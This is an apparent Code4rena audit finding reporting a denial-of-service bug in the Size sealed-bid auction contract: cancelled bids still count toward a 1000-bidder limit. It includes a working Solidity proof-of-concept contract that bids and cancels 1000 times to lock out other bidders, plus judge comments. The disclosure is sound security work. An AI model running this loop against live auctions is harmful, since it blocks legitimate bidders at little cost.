Preventing other bidders to bid on an auction

[code423n4]

Lines of code

https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L122
https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L415

Vulnerability details

Impact

In summary, it is possible to bid and cancel the bid on an auction. So, the number of bidder will be incremented by one (although it is conceled). Doing so 1000 times, will prevent other users to bid on this auction.

Suppose an auction is already created. A malicious user calls 1000 times the function bid(...) with the required parameters.
https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L122

So, for each call, one bidder will be pushed to the array EncryptedBid[].
https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L161

Then the malicious user calls cancelBid(...) 1000 times to take the funds back.
https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L415

By doing so, the number of bidders reaches to 1000, so no bidders can bid on this auction anymore, because it is reached to the limit.
https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L157

The malicious user only pays the gas for these transactions, and will not lose any money because during cancelling bids the fund is transferred back to the malicious user.

The vulnerability is that in the function cancelBid(...), the bid is not removed from the number of bidders in the auction.

Proof of Concept

pragma solidity 0.8.0;

struct Point {
    uint256 x;
    uint256 y;
}

interface ISize {
    function bid(
        uint256 auctionId,
        uint128 quoteAmount,
        bytes32 commitment,
        Point calldata pubKey,
        bytes32 encryptedMessage,
        bytes calldata encryptedPrivateKey,
        bytes32[] calldata proof
    ) external;

    function cancelBid(uint256 auctionId, uint256 bidIndex) external;
}

contract SizePoC {
    ISize iSize;

    constructor(address _addr) {
        iSize = ISize(_addr);
    }

    function attack(uint256 _auctionId, uint128 _quoteAmount) public {

        Point memory tempPoint;
        tempPoint.x = 0;
        tempPoint.y = 0;
        
        for (uint256 i = 0; i < 1000; ++i) {
            iSize.bid(
                _auctionId,
                _quoteAmount,
                bytes32(0),
                tempPoint,
                bytes32(0),
                "0x00",
                new bytes32[](0)
            );

            iSize.cancelBid(_auctionId, i);
        }
    }
}

Tools Used

Recommended Mitigation Steps

The number of active/valid bidders should be tracked, so during cancelling a bid, it can be easily removed.

[trust1995]

Dup of #238

[c4-judge]

0xean marked the issue as duplicate

[c4-judge]

0xean marked the issue as satisfactory

[c4-judge]

0xean changed the severity to 2 (Med Risk)